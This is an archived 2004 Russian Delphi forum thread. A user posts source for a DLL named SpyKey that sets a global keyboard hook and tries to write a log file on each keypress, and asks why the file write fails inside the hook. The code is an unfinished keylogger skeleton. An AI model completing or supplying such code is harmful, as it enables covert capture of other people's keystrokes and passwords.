Форум: "Основная";
Текущий архив: 2004.09.05;
Скачать: [xml.tar.bz2];
ВнизЧто-то не то с библиотекой Найти похожие ветки
← →
Рома (2004-08-21 13:47) [0]Здравствуйте все! Буду очень благодарен, если объясните в чём дело. Не получается сделать так, чтобы библиотека записывала строки в файл. При её подключении (sethook) из другой программы процедура CreateNewFile создаёт новый файл, что и требуется. Однако если запускать эту процедуру из указанного места в программе(после нажатия клавиши), то она ничего не делает. Просто какой-то парадокс. Вот исходник библиотеки:
library SpyKey;
uses Windows, SysUtils, Dialogs;
const FileName="LOG.TXT";
var
MyHookHandle:Hhook = 0;
TFile: TextFile;
procedure CreateNewFile;
begin
AssignFile(TFile,FileName);
ReWrite(TFile);
WriteLN(TFile, "Новый файл");
CloseFile(TFile);
end;
function MyCoolHook(Code: integer; wParam: word; lParam: Longint):LongInt;stdCall;
begin
if code<0 then Result := CallNextHookEx(MyHookHandle,Code, wParam, lParam)
else{проверка, какая кнопка нажата}
begin
result:=0;
if(code=HC_ACTION)and(lParam<>lParam or $8000 shl 16)and
(lParam<>lParam or $8000 shl 15) then
begin
//CreateNewFile - Почему-то из этого места функция никогда не выполняется!
ShowMessage("Хм"); {Сообщение показывается при нажатии любой клавиши всегда}
end;
CallNextHookEx(MyHookHandle,Code, wParam, lParam)//вызываю следующую ловушку
end;{if}
end;
procedure SetHook;stdCall;Export;
begin
//CreateNewFile - А отсюда выполняется нормально ;
MyHookHandle := SetWindowsHookEx(WH_Keyboard, @MyCoolHook, hInstance, 0);//устанавливаю хук
end;
procedure UnHook;stdCall;Export;
begin
UnhookWindowsHookEx(MyHookHandle);
end;
exports
SetHook,
Unhook;
Begin
end.
← →
Profi © (2004-08-21 14:11) [1]Еще один "хакер"!
← →
olookin © (2004-08-21 14:54) [2]Наверное, условие
if(code=HC_ACTION)and(lParam<>lParam or $8000 shl 16)and
(lParam<>lParam or $8000 shl 15) then
не выполняется
← →
Рома (2004-08-21 15:06) [3]Нет, в том то и дело, что это условие прекрасно выполняется, и выводится сообщение "Хм", но функция CreateNewFile, которая должна выполняться перед выводом сообщения, ничего не делает. Вот сижу сейчас и не знаю что делать.
Страницы: 1 вся ветка
Форум: "Основная";
Текущий архив: 2004.09.05;
Скачать: [xml.tar.bz2];
Память: 0.45 MB
Время: 0.034 c